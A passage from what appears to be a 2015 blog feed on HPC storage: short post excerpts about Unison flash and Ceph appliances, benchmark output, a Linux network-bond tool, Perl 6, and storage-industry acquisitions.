paying Amazon to let them run bots. https://blog.scalability.org/2015/12/watching-dracut-udev-systemd-and-plymouth-all-battle-each-other-for-nfsramboot/ Thu, 10 Dec 2015 19:38:41 +0000 https://blog.scalability.org/2015/12/watching-dracut-udev-systemd-and-plymouth-all-battle-each-other-for-nfsramboot/ I can’t even begin to describe the complete and utter broken-ness of this mess. This doesn’t look like systemd issue, its just the poor stack trying to get everything else working. But plymouth. Seriously. It should be given the old-yeller treatment. And watching udev not … settle … is … amusing. While its doing that, the dracut options of debug, drop to a shell, break, etc. aren’t working. This isn’t engineering at this point. https://blog.scalability.org/2015/12/perl6-compiler-betas-are-ready/ Sat, 05 Dec 2015 17:01:17 +0000 https://blog.scalability.org/2015/12/perl6-compiler-betas-are-ready/ Ok … I am … well … blown away. I had thought Perl6 would be the Duke Nukem forever of programming languages. Indeed, it has been in active development for more than a decade. But you can download compilers (yes, you heard me right, compilers) for it now. You might say “why perl” or “why perl6” or “why now, because we have #insert(language_x) and its wonderful”. Good question, I wasn’t sure why it was relevant, until I started reading some of the code. https://blog.scalability.org/2015/12/testing-a-new-scalableinfo-unison-ceph-appliance-node-for-hpc-storage/ Sat, 05 Dec 2015 16:34:55 +0000 https://blog.scalability.org/2015/12/testing-a-new-scalableinfo-unison-ceph-appliance-node-for-hpc-storage/ Simple test case, no file system … using raw devices, what can I push out to all 60 drives in 128k chunks. Actually this is part of our burn-in test series, I am looking for failures/performance anomalies. ----total-cpu-usage---- -dsk/total- -net/total- ---paging-- ---system-- usr sys idl wai hiq siq| read writ| recv send| in out | int csw 0 1 95 5 0 0| 513M 0 | 480B 0 | 0 0 | 10k 20k 4 2 94 0 0 0| 0 0 | 480B 0 | 0 0 |5238 721 0 2 98 0 0 0| 0 0 | 480B 0 | 0 0 |4913 352 0 2 98 0 0 0| 0 0 | 570B 90B| 0 0 |4966 613 0 2 98 0 0 0| 0 0 | 480B 0 | 0 0 |4912 413 0 2 98 0 0 0| 0 0 | 584B 92B| 0 0 |4965 334 0 2 98 0 0 0| 0 0 | 480B 0 | 0 0 |4914 306 0 2 98 0 0 0| 0 0 | 636B 147B| 0 0 |4969 483 0 2 98 0 0 0| 0 0 | 570B 0 | 0 0 |4915 377 8 8 50 32 0 2|7520k 8382M| 578B 0 | 0 0 | 76k 215k 9 7 30 52 0 3|8332k 12G| 960B 132B| 0 0 | 109k 279k 10 5 29 53 0 2|4136k 12G| 240B 0 | 0 0 | 109k 277k 12 6 29 51 0 2|4208k 12G| 240B 0 | 0 0 | 108k 280k 11 6 31 50 0 2|2244k 12G| 330B 90B| 0 0 | 109k 281k 11 6 30 50 0 3|2272k 13G| 240B 0 | 0 0 | 110k 281k Writes around 12. https://blog.scalability.org/2015/12/10tb-pmr-drives-for-unison-hpc-storage-systems-think-600tb4u-unit-with-beegfs-ceph-and-others/ Thu, 03 Dec 2015 02:54:21 +0000 https://blog.scalability.org/2015/12/10tb-pmr-drives-for-unison-hpc-storage-systems-think-600tb4u-unit-with-beegfs-ceph-and-others/ WD/HGST just released details on a PMR (aka “real”, non-archive class) hard disk. You can read the specs here. We will be offering these in Unison HPC storage systems, to provide up to 600TB/4U unit, or up to 6PB per rack of 10 unison chassis. Coupled with our 100Gb fabric, we expect to be able to drive about 8-9 GB/s per chassis. And thats before we leverage the distributed journaling/metadata NVMe’s rear mounted on the units. https://blog.scalability.org/2015/12/video-interview-face-melting-performance-in-hpc-nvme-storage-scalableinfo/ Tue, 01 Dec 2015 20:47:10 +0000 https://blog.scalability.org/2015/12/video-interview-face-melting-performance-in-hpc-nvme-storage-scalableinfo/ Oh no … we didn’t say “face melting” … did we? Oh. Yes. We. Did. The interview is here at the always wonderful InsideHPC.com You can see the video itself here on YouTube, but read Rich’s transcript. I was losing my voice, and he captured all of the interview in text. Take home messages: Insane IO/Networking/processing performance, small footprint, tiny price, available for orders now. https://blog.scalability.org/2015/11/there-are-no-silver-bullets-2015-edition/ Wed, 25 Nov 2015 17:53:58 +0000 https://blog.scalability.org/2015/11/there-are-no-silver-bullets-2015-edition/ In Feb 2013, I opined (with some measure of disgust) that people were looking at various software packages as silver bullets, these magical bits of a stack which could suddenly transform massive steaming piles of bits (big … uh … “data” ?) into golden nuggets of actionable data. Many of the “solutions” marketed these days are exactly like that … “add our magic bean software to your pipeline and you will gain insight faster. https://blog.scalability.org/2015/11/the-1980s-called-and-want-their-software-licensing-models-back/ Wed, 25 Nov 2015 17:29:56 +0000 https://blog.scalability.org/2015/11/the-1980s-called-and-want-their-software-licensing-models-back/ So here I am, the day before thanksgiving, fighting a battle with a reluctant license server that wants to compute a hash of internal bits on a machine, in order to use to unlock a license key, to let software run. This is not for us, but for a customer. At their site. This is the same model from the 1980s and early 90s. Create a hash from a collection of things (or a dongle you attach to a serial/parallel port). https://blog.scalability.org/2015/11/i-always-thought-a-ph-d-defense-should-have-a-dance-component/ Wed, 25 Nov 2015 14:50:27 +0000 https://blog.scalability.org/2015/11/i-always-thought-a-ph-d-defense-should-have-a-dance-component/ As seen here. I like the enTANGOeled photons. Not sure how I’d do mine, but its at least amusing to think through. https://blog.scalability.org/2015/11/a-wonderful-read-on-metrics-profiling-benchmarking/ Tue, 24 Nov 2015 16:23:14 +0000 https://blog.scalability.org/2015/11/a-wonderful-read-on-metrics-profiling-benchmarking/ Brendan Gregg’s writings are always interesting and informative. I just saw a link on hacker news to a presentation he gave on “Broken Performance Tools”. It is wonderful, and succinctly explains many thing I’ve talked about here and elsewhere, but it goes far beyond what I’ve grumbled over. One of my favorite points in there is slide 83. “Most popular benchmarks are flawed” and a pointer to a paper (easy to google for). https://blog.scalability.org/2015/11/massive-unapologetic-firepower-part-3-forte/ Wed, 18 Nov 2015 22:53:47 +0000 https://blog.scalability.org/2015/11/massive-unapologetic-firepower-part-3-forte/ Forte has uncloaked, website is being updated. You can email me (landman@scalableinformatics.com) for more info. Pictures speak louder than words. Have a look. That is 20+ GB/s for streaming sequential IO. Then, 4kB random reads … That is, 5+ Million IOPs. Specs include Price point for this is $50k for 48TB, $1/GB. Pre-order now, shipping in a few weeks. https://blog.scalability.org/2015/11/shiny-hpc-storage-things-at-sc15/ Tue, 10 Nov 2015 13:58:02 +0000 https://blog.scalability.org/2015/11/shiny-hpc-storage-things-at-sc15/ Assuming everything goes as planned (HA!) we should have a number of very cool things at SC15. * 100Gb [Unison storage system with BeeGFS](https://scalableinformatics.com/unison) * 100Gb [Unison Ceph](https://scalableinformatics.com/unison) system * 100Gb connection to a partner/customer booth * Forte 100Gb is awesome. The first time I ran an iperf bidirectional test, saw 20GB/s … it blew me away. 40/56GbE is old hat now, and 10GbE is in the rapidly receding past. https://blog.scalability.org/2015/10/moving-inventory-out-to-make-room-for-new-stuff/ Thu, 29 Oct 2015 20:56:25 +0000 https://blog.scalability.org/2015/10/moving-inventory-out-to-make-room-for-new-stuff/ We have a bunch of units to move out. These are from a recent POC project, and we have a new architecture project that needs all that rack space and then some … the team are building Franken-boxen clients for this project, so we have enough requestors on the network. Parts start arriving next week for that, and we really need to clear this out soon. I hate seeing good gear sitting idle on a storage shelf when it could be helping solve hard problems. https://blog.scalability.org/2015/10/cat-peeking-out-of-bag-schedule-of-presentations-and-talks-in-our-booth-for-sc15-is-up/ Thu, 29 Oct 2015 12:54:36 +0000 https://blog.scalability.org/2015/10/cat-peeking-out-of-bag-schedule-of-presentations-and-talks-in-our-booth-for-sc15-is-up/ I mentioned previously that we have some new (shiny) things … and it looks like you’ll be able to hear about them at my talk. See the schedule for timing information. This said, please note that we have a terrific line up of people giving talks: Fintan Quill from Kx on kdb+ … which is an awesome market leading Big Data Time Series analytics and database tool that runs absolutely balls-out insanely fast on our architecture Christian Mohrbacher from Thinkparq on BeeGFS … the primary parallel file system we are leveraging for Unison parallel file system appliances * Mark Nelson from Inktank/Red Hat on Ceph … the reliable block and object storage system that we’ve built into our Unison Object/Block Storage appliance * Doug Eadline from Basement Supercomputing on Hadoop, and likely showing a Limulus deskside Hadoop appliance * Phil Mucci from Minimal Metrics on optimization problems for systems and code. https://blog.scalability.org/2015/10/sios-metrics-core-rewritten/ Tue, 27 Oct 2015 05:15:03 +0000 https://blog.scalability.org/2015/10/sios-metrics-core-rewritten/ This was a long time coming. Something I needed to do, in order to build a far better code capable of using less network, less CPU power, and providing a better overall system. In short, I ripped out the graphite bits and wrote a native interface to InfluxDB. This interface will also be adapted to kdb+ (32 bit edition), and graphite as time allows. In the process, I cleaned up a tremendous amount of code. https://blog.scalability.org/2015/10/just-give-me-a-huge-fast-storage-system-and-a-mighty-network-to-delivery-it-by/ Fri, 23 Oct 2015 19:56:47 +0000 https://blog.scalability.org/2015/10/just-give-me-a-huge-fast-storage-system-and-a-mighty-network-to-delivery-it-by/ A system in the lab. Here is a snapshot from our management GUI. [ ](/images/unison-poc-system.png) A couple things to note: In the lower right corner, you can see the size of the /mnt/unison file system. This is an all flash system. No, there is no compression, nor dedup going on here. We could, but most of the use cases we are dealing with these days … this would not be a win. https://blog.scalability.org/2015/10/looking-forward-to-showing-off-a-new-product-at-sc15/ Thu, 22 Oct 2015 15:13:47 +0000 https://blog.scalability.org/2015/10/looking-forward-to-showing-off-a-new-product-at-sc15/ Think … pretty interesting performance … Think very … very dense … Think … there may be some benchies leaked here soon. https://blog.scalability.org/2015/10/ma-huge-wd-acquires-sandisk/ Wed, 21 Oct 2015 15:16:07 +0000 https://blog.scalability.org/2015/10/ma-huge-wd-acquires-sandisk/ This is huge. Now Seagate has a relationship with Micron, Toshiba has its own disks and shares a fab with SanDisk (though I think with this acquisition, that will rapidly change). Ok … so the HD vendors are busy snapping up the Flash makers. Is Micron next? Rumors of something have been swirling for a while. Note also, SanDisk has their InfiniFlash unit. WD simply did not have storage appliances. This gets them into that space, and directly competing with the likes of all the smaller startup all flash array (AFA) vendors. https://blog.scalability.org/2015/10/finding-needles-in-haystacks-covered-in-a-fallen-down-barn/ Sat, 17 Oct 2015 00:54:09 +0000 https://blog.scalability.org/2015/10/finding-needles-in-haystacks-covered-in-a-fallen-down-barn/ Ok … this one was very annoying. Imagine you are trying to diagnose a system crash on a production unit. The crash is quite specific in the subsystems … being one where the interrupt handler catches an exception, and then you start piling up softirq contexts. Its on the network side of things. You discover that the switch and the NIC are, somehow, incredibly, not quite compatible with each other. I can’t assign blame for this as I don’t know who is at fault. https://blog.scalability.org/2015/10/ten-years-ago-this-blog-was-born/ Thu, 15 Oct 2015 03:02:14 +0000 https://blog.scalability.org/2015/10/ten-years-ago-this-blog-was-born/ This was my first post. On 12-October-2005. I’ve written about many things over the past decade. 2000 plus posts, 200 per year, averages about 4 every 7 days or so. I’ve slowed down a bit in recent months, as work has grown more intense, but there are many thoughts I want to get down. To a large extent, my journey through HPC has been an interesting one, and only slightly captured in these posts. https://blog.scalability.org/2015/10/ma-emc-gobbled-by-dell/ Mon, 12 Oct 2015 15:57:50 +0000 https://blog.scalability.org/2015/10/ma-emc-gobbled-by-dell/ Need to think how this will play out. The Register’s take is here. It seems that this will solve the “shareholder value” problem indicated by Elliot Management (e.g. they wanted more return on their investment). As part of the increasing the return and value return to shareholders, EMC had been in a cost cutting mode. Layoffs have been in process, and likely products trimmed or refocused. Once this goes through (assuming regulators won’t protest), Dell will have https://blog.scalability.org/2015/10/the-end-of-java-in-the-browser/ Sat, 10 Oct 2015 21:08:20 +0000 https://blog.scalability.org/2015/10/the-end-of-java-in-the-browser/ Coming soon. Mozilla is turning off NPAPI support at the end of next year. Java and java applets rely upon NPAPI to work. Needless to say, Java support in the browser is going to end. While this is good news, they are still going to allow flash. Which is less good. What is interesting about this, is that this sunsets support for many of the remote console applications that depend upon Java (for the moment) to provide KVM like capabilities. https://blog.scalability.org/2015/10/are-the-wheels-coming-off/ Fri, 09 Oct 2015 12:26:31 +0000 https://blog.scalability.org/2015/10/are-the-wheels-coming-off/ From Term Sheet (required reading BTW) Read it all. The thing about bubble valuations and unicorns … neither one will last very long. Pure Storage IPOed this week and they aren’t doing as well in the public markets as their private market valuations might suggest. This is not to say they aren’t a good company, or don’t have a good product. This is saying that the demand for “unicorn” valuations from the buy side is … well … weak. https://blog.scalability.org/2015/10/possible-ma-dell-and-emc/ Thu, 08 Oct 2015 00:31:20 +0000 https://blog.scalability.org/2015/10/possible-ma-dell-and-emc/ Story is here. Not sure this is a great tie up … EMC has lots of things Dell doesn’t need (and vice versa). Possibly parts of EMC (secession from the federation?) with Dell. I can’t imagine VMware wanting to tie up with one vendor. Nor Pivotal, etc. This said, Cisco pulled out of the venture with EMC to pursue its own directions, competitive with elements. But then they bought and subsequently closed Whiptail. https://blog.scalability.org/2015/10/end-days-must-be-on-hand-perl-6-is-out/ Tue, 06 Oct 2015 23:10:11 +0000 https://blog.scalability.org/2015/10/end-days-must-be-on-hand-perl-6-is-out/ see for more details. I’d love to find a valid reason to play with it, but my near term foci are going to remain our current code base in Perl/C, nodejs for a few things, Julia/R for analysis. The joke about Perl 6 shipping by Christmas is now over … as the correct response has been “what year”. Until this year it seems. https://blog.scalability.org/2015/10/ma-cleversafe-is-snarfed-up-by-ibm/ Mon, 05 Oct 2015 19:07:26 +0000 https://blog.scalability.org/2015/10/ma-cleversafe-is-snarfed-up-by-ibm/ Cleversafe was acquired by IBM. Looks like 200 people making their way over. This is huge, as now Scality is basically the last independent standing, and I am guessing they won’t be alone for long. https://blog.scalability.org/2015/09/voting-in-hpcwires-readers-choice-awards-are-open-please-vote/ Wed, 23 Sep 2015 19:20:34 +0000 https://blog.scalability.org/2015/09/voting-in-hpcwires-readers-choice-awards-are-open-please-vote/ Our friends at Lucera are in number 6 for best use of HPC in a financial services category. Our Unison product is at number 11 for Best HPC Storage Product or Technology. And I did a write in for #21 for us :D. Our friends at Mellanox have their 100Gb EDR Infiniband technology at number 14. Please do vote (early, not often). https://blog.scalability.org/2015/09/as-the-benchmark-cooks/ Mon, 21 Sep 2015 19:44:03 +0000 https://blog.scalability.org/2015/09/as-the-benchmark-cooks/ We are involved in a fairly large benchmark for a potential customer. I won’t go into many specifics, though I should note that lots of our Unison units are involved. Current architecture has 5 storage nodes (6th was temporarily removed to handle a customer issue). Each Unison node has a pair of 56GbE NICs, as well as our appliance OS, and bunches of other goodness (quite a bit of flash). Total capacity for test is of order 200TB of flash. https://blog.scalability.org/2015/09/inventory-to-sell-to-make-room-cadence-and-several-unisonjackrabbits/ Fri, 18 Sep 2015 20:12:00 +0000 https://blog.scalability.org/2015/09/inventory-to-sell-to-make-room-cadence-and-several-unisonjackrabbits/ Very fast units, very reasonable prices. We are (again) running out of space in our lab, and really need to move this stuff out. Many of these have been demo/engineering machines for us, including the portable petabyte unit. We’ve got a Cadence box with 16TB of storage, which puts up performance numbers that other vendors would kill for … https://twitter.com/sijoe/status/606221680533508096 and https://twitter.com/sijoe/status/606222084587388928 We’ve got the portable petabyte unit available (albeit with less than 1 PB). https://blog.scalability.org/2015/09/updated-net-tools-bits/ Tue, 08 Sep 2015 04:18:19 +0000 https://blog.scalability.org/2015/09/updated-net-tools-bits/ So far, 3 components, and working to fix a few things in formatting. On github, grab it here. First, lsbond.pl to report about bond details root@unison-mgr-1:~/net-tools# ./lsbond.pl bond0: mac 0c:c4:7a:48:69:cb state up mode fault-tolerance (active-backup) xmit_hash layer2 0 active slave eth1 polling 100 ms up_delay 200 ms down_delay 200 ms slave nics: eth1: mac 0c:c4:7a:48:69:cb, link 1, state up, speed 1000, driver igb, version 5.3.2.2 firmware version 1.61,0x8000090e bond1: mac 00:12:c0:80:26:76 state up mode fault-tolerance (active-backup) xmit_hash layer2 0 active slave eth3 polling 100 ms up_delay 200 ms down_delay 200 ms slave nics: eth2: mac 00:12:c0:80:26:76, link 1, state up, speed 10000, driver ixgbe, version 4. https://blog.scalability.org/2015/09/unison-ceph-beats-reference-architecture-including-the-flavor-with-nvme-drives/ Wed, 02 Sep 2015 23:02:41 +0000 https://blog.scalability.org/2015/09/unison-ceph-beats-reference-architecture-including-the-flavor-with-nvme-drives/ The paper is here. We focused on our product mix and the rough comparables in the report. Our units are immediately available as well, preloaded/preconfigured with Ceph. The takeaway is this: [ ](https://scalableinformatics.com/assets/documents/Unison-Ceph-Performance.pdf) Whats really interesting in this is that the 36+2 reference architecture makes use of 2x NVMe drives. And as you can see, they really don’t help much in the tests. This is not to say NVMe is bad; its not. https://blog.scalability.org/2015/08/nominate-your-favorite-hpc-product-and-company-for-a-readers-choice-award/ Thu, 27 Aug 2015 15:57:45 +0000 https://blog.scalability.org/2015/08/nominate-your-favorite-hpc-product-and-company-for-a-readers-choice-award/ Please go here and nominate! Last year, our customer Lucera, won best in Financial Services. We built the vast majority of their infrastructure, so we like to think we contributed in some manner to their success. This year, please don’t hesitate to nominate us (or second/third/etc.) for Best HPC Storage Product of Technology for Scalable Informatics Unison product, or whatever you’d like. In addition to the nomination for Unison in storage, I put in nominations for Cadence in Financial Services, and in Data Intensive computing. https://blog.scalability.org/2015/08/ma-seagate-snarfs-up-dothill/ Wed, 19 Aug 2015 12:33:21 +0000 https://blog.scalability.org/2015/08/ma-seagate-snarfs-up-dothill/ The Register reports this morning, that Seagate has acquired DotHill. DotHill makes arrays and their kit is resold and rebadged by many. In general the array market (high end) is in a decline, and doesn’t show signs of turning around (ever). The low and mid market, including some of the cloud bits is growing. I am not sure about the OCP stuff, but the low end bits are where we are seeing 4, 8, and 12 drive arrays show up as completely commoditized gear. https://blog.scalability.org/2015/08/ipo-pure-storage-files/ Thu, 13 Aug 2015 13:14:33 +0000 https://blog.scalability.org/2015/08/ipo-pure-storage-files/ Not really an HPC/Big Data play (yet). But they have filed. The traditional array market is in a decline, and depending upon how you view it, its either merely a steep decline, or an out-and-out death spiral. The tier1 vendors are defending a shrinking turf against aggressive smaller and more focused players. Moreover, flash is set to overtake disk in terms of lower cost to deploy in very short order. This plays well for folks like Pure and a few others, though the market they are playing in is in decline. https://blog.scalability.org/2015/08/rebuilding-our-kernel-build-system-for-fun-and-profit/ Wed, 05 Aug 2015 02:03:10 +0000 https://blog.scalability.org/2015/08/rebuilding-our-kernel-build-system-for-fun-and-profit/ No, really mostly to clean up an accumulation of technical debt that was really bugging the heck out of me. I like Makefiles and I cannot lie. So I like encoding lots of things in them. But it wound up hardwiring a number of things that shouldn’t have been hardwired. And made the builds brittle. When you have 2 released/supported kernels, and a handful of experimental kernels, it gets hard making changes that will be properly reflected across the set. https://blog.scalability.org/2015/08/drama-at-violin-memory/ Tue, 04 Aug 2015 03:56:42 +0000 https://blog.scalability.org/2015/08/drama-at-violin-memory/ Violin has had a rather tumultuous time in market. Post IPO, they’ve not had a great time selling. They have an interesting product, but with SanDisk coming out with their kit, and many others in the competitive flash array space, this can’t be a fun time for them. They don’t have a large installed base to protect, and their competitors are numerous and fairly well funded. Add to the mix that, as a post-IPO public company, they no longer have the luxury of not hitting targets … they will get slaughtered in the market. https://blog.scalability.org/2015/07/scalable-informatics-13th-year-anniversary-on-saturday/ Thu, 30 Jul 2015 16:33:46 +0000 https://blog.scalability.org/2015/07/scalable-informatics-13th-year-anniversary-on-saturday/ We started the company on 1-August-2002. I remember arguing with a senior VP at SGI over his decision to abandon linux clusters in Feb 2001. That was the catalyst for me leaving SGI, but I was too chicken to start Scalable then. I thought I could do better than them. I went to another place for 15 months or so. Tried jumpstarting an HPC group there … hired lots of folks, pursued lots of business. https://blog.scalability.org/2015/07/been-there-done-that-even-have-a-patent-on-it/ Thu, 30 Jul 2015 15:54:21 +0000 https://blog.scalability.org/2015/07/been-there-done-that-even-have-a-patent-on-it/ I just saw this about doing a divide and conquer approach to massive scale genomics calculation. While not specific to the code in question, it looked familiar. Yeah, I think I’ve seen something like this before … and wrote the code to do it. It was called SGI GenomeCluster. It was original and innovative at the time, hiding the massively parallel nature of the computation behind a comfortable interface that end users already knew. https://blog.scalability.org/2015/07/build-debugging-thoughts/ Thu, 30 Jul 2015 02:02:19 +0000 https://blog.scalability.org/2015/07/build-debugging-thoughts/ Our toolchain that we use for providing up to date and bug-reduced versions of various tools for our appliances have a number of internal testing suites. These suites do a pretty good job of exercising code. When you build Perl, and the internal modules and tools, tests are done right then and there, as part of the module installation. Sadly not many languages do this yet, I think Julia, R, and a few others might. https://blog.scalability.org/2015/07/insanely-awesome-project-and-product/ Tue, 28 Jul 2015 03:22:38 +0000 https://blog.scalability.org/2015/07/insanely-awesome-project-and-product/ This is one of Scalable Informatics FastPath Unison systems, well the bottom part. The top are clients we are using to test with. [ ](/images/flashy.jpg) Each of the servers at the bottom is a 4U with 54 physical 2.5 inch 6g/12g SAS or SATA SSDs. We have 5 of these units in the picture. And a number of SSDs on the way to fill them up. Think 0.2PB usable of flash. https://blog.scalability.org/2015/07/playing-guess-which-wire-i-just-pulled-isnt-fun/ Mon, 27 Jul 2015 21:51:11 +0000 https://blog.scalability.org/2015/07/playing-guess-which-wire-i-just-pulled-isnt-fun/ Even less fun when the boxes are half a world away. Yeah, this was my weekend and a large chunk of today. This will segue into another post on design and (unintended) changes in design, and end user expectations at some point. Its hard to maintain a concept of an SLO if some of the underlying technology you are relying upon to deliver these objectives (like, I dunno, a wire?), suddenly disappears on you. https://blog.scalability.org/2015/07/ma-fallout-cisco-may-have-ditched-invicta-after-buying-whiptail/ Fri, 24 Jul 2015 15:20:45 +0000 https://blog.scalability.org/2015/07/ma-fallout-cisco-may-have-ditched-invicta-after-buying-whiptail/ Article is here, take it as a rumor until we hear from them. My comments: First, M&A; is hard. You need a good fit product wise (little overlap and great complementary functions/capabilities), and a culture/people fit matter. Second, sales teams need to be on-board selling complete solutions involving the acquired tech. Sometimes this doesn’t happen, for any number of reasons, some fixable, some not. Third, Cisco is out of the storage game if this is true. https://blog.scalability.org/2015/07/on-storage-unicorns-and-their-likely-survival-or-implosion/ Fri, 24 Jul 2015 15:09:37 +0000 https://blog.scalability.org/2015/07/on-storage-unicorns-and-their-likely-survival-or-implosion/ The Register has a great article on storage unicorns. Unicorns are not necessarily mythical creatures in this context, but very high valuation companies that appear to defy “standard” valuation norms, and hold onto their private status longer than those in the past. That is, they aren’t in a rush to IPO or get acquired. The article goes on to analyze the “storage” unicorns, those in the “storage” field. They admix storage, nosql, hyperconverged, and storage as a service. https://blog.scalability.org/2015/07/tools-for-linux-devops-lsbonds-pl/ Tue, 21 Jul 2015 18:58:07 +0000 https://blog.scalability.org/2015/07/tools-for-linux-devops-lsbonds-pl/ Slowly and surely, I am scratching the itches I’ve had for a while with regards to data extraction from a running system. One of the big issues I deal with all the time is to extract what the state and components (and their states) of a linux network bond. Its an annoying combination of /sys/class/net, /proc/net/bonding/, and ethtool/ip commands. So I decided to simplify it. bond0: mac 00:11:22:33:44:55 state up mode load balancing (xor) xmit_hash layer2+3 (2) polling 100 ms up_delay 200 ms down_delay 200 ms ipv4 10. https://blog.scalability.org/2015/07/day-job-growing/ Tue, 21 Jul 2015 03:05:21 +0000 https://blog.scalability.org/2015/07/day-job-growing/ We brought on a new business development and sales manager today. Actually based in Michigan. Looking forward to great things from him, and we are all pretty excited! https://blog.scalability.org/2015/07/gmail-lossy-email-system/ Tue, 21 Jul 2015 03:03:43 +0000 https://blog.scalability.org/2015/07/gmail-lossy-email-system/ For months I’ve been noting that email to my 2 different GMail accounts (one for work on the business side using the Google Apps for business, and yes, paid for … and one for personal) are not getting all the emails sent to it. I’ve had customers reach out to me here at this site, as well as calling me up to ask me if I’ve been getting their email. Seems I’m not the only one, though the complaint here appears to be a bad filter and characterizing system. https://blog.scalability.org/2015/07/baidu-attack-deflection/ Thu, 16 Jul 2015 04:48:55 +0000 https://blog.scalability.org/2015/07/baidu-attack-deflection/ So Baidu’s web crawler is broken. Makes the bad old days of bing bot look positively benign. Wasn’t pushing much load, but lots of log spam and it showed signs of increasing over time. So, out comes the ban hammer. Then I thought, why not report their broken bot to them. Should be as simple as an email, or a web page. Sure enough, they have links for filling out forms to indicate that their web crawler is going crazy. https://blog.scalability.org/2015/07/ma-or-more-correctly-acqui-hire-cray-bags-much-of-terascala/ Wed, 15 Jul 2015 14:28:46 +0000 https://blog.scalability.org/2015/07/ma-or-more-correctly-acqui-hire-cray-bags-much-of-terascala/ Terascala appears to have been disassembled, with much of the team going to Cray. Terascala started out selling internally developed storage appliances for Lustre. They developed deployment, monitoring, and management tools. Their UI was reasonably good. Then they struck up a deal with Dell and a few others. In doing so, they largely stopped their appliance sales. Put their code upon their partners hardware. This did generate more force multipliers for them in sales, but it cost them some of their differentiation … unless their boxes were entirely undifferentiated, where it would reduce their overall costs to avoid selling undifferentiated hardware. https://blog.scalability.org/2015/07/potential-ma-micron-being-pursued/ Wed, 15 Jul 2015 14:10:20 +0000 https://blog.scalability.org/2015/07/potential-ma-micron-being-pursued/ I was heads down all day yesterday working on a few things. Apparently this is widely known now, but I saw it late last night. Micron is being pursued by a group affiliated with Tsinghua University. There is a political angle to this group, as they are connected to the government through their management. Why is this interesting (the acquisition potential that is). Well, there are 4 basic Flash fabs out there these days. https://blog.scalability.org/2015/07/fixing-baidus-broken-search-bot/ Wed, 15 Jul 2015 01:44:33 +0000 https://blog.scalability.org/2015/07/fixing-baidus-broken-search-bot/ It seems that the bot was generating some effectively random broken URLs. Or maybe not so random. I saw endpoints in the logs that haven’t been in use for at least 7 years. I can’t imagine this was simply a harmless bug, as much as … maybe? … a search for moved/renamed endpoints? As the web server is now done very differently than in the past, the missing endpoints merely generated log spam. https://blog.scalability.org/2015/07/blog-post-title-of-the-day-any-sufficiently-advanced-technology/ Tue, 14 Jul 2015 14:42:25 +0000 https://blog.scalability.org/2015/07/blog-post-title-of-the-day-any-sufficiently-advanced-technology/ I am a huge fan of Charles Stross’s (@cstross) Laundry series (and most of what he writes in general), and just finished his latest over the weekend. Up on his blog, he had a guest author write a post while he was stuck in traffic or similar. The title of the entry wins the internets today. Yup, definitely a winner … https://blog.scalability.org/2015/07/most-of-our-traffic-on-the-day-job-site-now-comes-from-baidu/ Mon, 13 Jul 2015 16:26:16 +0000 https://blog.scalability.org/2015/07/most-of-our-traffic-on-the-day-job-site-now-comes-from-baidu/ Well, their web crawler. Way way back in the day, I complained about broken bing-bots. This was 8 years ago. Bing was fairly crappy at crawling, and seems to have improved. Google is still the lightest touch. Least impactful. Deeply in the traffic noise. Not Baidu. There bot is, for lack of a better term, broken. Its not into DoS levels, but it is wasting traffic/resources, and providing lots of log spam. https://blog.scalability.org/2015/07/imitation-and-repetition-is-a-sincere-form-of-flattery/ Fri, 10 Jul 2015 15:28:21 +0000 https://blog.scalability.org/2015/07/imitation-and-repetition-is-a-sincere-form-of-flattery/ A few years ago, we demonstrated some truly awesome capability in single racks and on single machines. We had one of our units (now at a customer site), specifically the unit that set all those STAC M3 records, showing this: and a rack of our units (now providing high performance cloud service at a customer site) for 8k random reads across 0.25 PB of storage on a very fast 40GbE backbone. https://blog.scalability.org/2015/07/portable-petabyte-systems-update/ Fri, 10 Jul 2015 14:57:09 +0000 https://blog.scalability.org/2015/07/portable-petabyte-systems-update/ As a reminder, the day job has 1PB dense and fast (20GB/s and above)storage systems available for about $0.25/GB fully supported, delivered, and installed. All you need to provide is power and a network connection. I should note that we’ve delivered all flash versions of these as well as hybrid versions for various use cases. We will have an update on these leveraging our greater density options, including 2.3PB/rack fully supported for 3 years, with shipping and installation for under $600k USD, as well as a 1PB flash version in 1-2 racks. https://blog.scalability.org/2015/07/takes-a-licking-and-keeps-on-ticking/ Mon, 06 Jul 2015 20:11:34 +0000 https://blog.scalability.org/2015/07/takes-a-licking-and-keeps-on-ticking/ One of our systems at a customer site. $ uptime 15:47:33 up 407 days, 3:23, 2 users, load average: 0.19, 0.10, 0.06 $ uname -r 3.10.36.scalable https://blog.scalability.org/2015/07/a-new-thing-to-occupy-my-time/ Sat, 04 Jul 2015 02:35:38 +0000 https://blog.scalability.org/2015/07/a-new-thing-to-occupy-my-time/ Doesn’t have to be a code golf mechanism, but this looks like fun! https://blog.scalability.org/2015/06/thoughts-on-a-thursday/ Thu, 25 Jun 2015 22:05:22 +0000 https://blog.scalability.org/2015/06/thoughts-on-a-thursday/ We’ve been doing the startup thing for a hair under 13 years now. Most of the time we’ve been self funded, and recently we took a small investment in a friends and family round (angel.co link here). What occurs to me, after we soft announced our 100GbE results via a Mellanox PR today, is that we’ve been building the types of high performance platforms that enable end users to do bigger and better things for the whole time. https://blog.scalability.org/2015/06/interesting-conversation-with-a-customer-about-our-sirouter/ Thu, 25 Jun 2015 21:50:57 +0000 https://blog.scalability.org/2015/06/interesting-conversation-with-a-customer-about-our-sirouter/ They are turning their SDN concept into one of the most incredible technologies around, a tremendous competitive advantage for them over others in their space. I had been under the impression that they were running everything on their (quite awesome) 10/40GbE switches. These are SDN capable switches from a very well funded SDN switch startup. Turns out, their SDN stack is actually running on siRouter. They are doing some very cool bits on the software stack side, and getting about 2 microseconds port to port. https://blog.scalability.org/2015/06/our-100gbe-flash-storage-appliance-benchmarks-discussed/ Thu, 25 Jun 2015 19:56:39 +0000 https://blog.scalability.org/2015/06/our-100gbe-flash-storage-appliance-benchmarks-discussed/ See the PR bit here (http://www.hpcwire.com/off-the-wire/new-mellanox-performance-benchmarks-released/ for the link impaired) This is a Unison Ceph appliance ( http://scalableinformatics.com/unison ) and they are available and shipping now. Please reach out to us if you’d like to discuss. And yes, this is the world’s first 100GbE storage appliance, or storage server SAN device if you prefer. Easily one of the fastest systems in market. [Update] Forgot to mention, this is a set of units bought by a customer, and at their site. https://blog.scalability.org/2015/06/day-job-is-hiring/ Fri, 19 Jun 2015 03:24:59 +0000 https://blog.scalability.org/2015/06/day-job-is-hiring/ Business development/sales role for now. See here (url: https://scalableinformatics.com/bus-dev in case you don’t see the link) for more details. Prefer New York, Chicago, Boston, or nearby. No relocation. https://blog.scalability.org/2015/06/sios-v2-0-running-pxe-booted/ Thu, 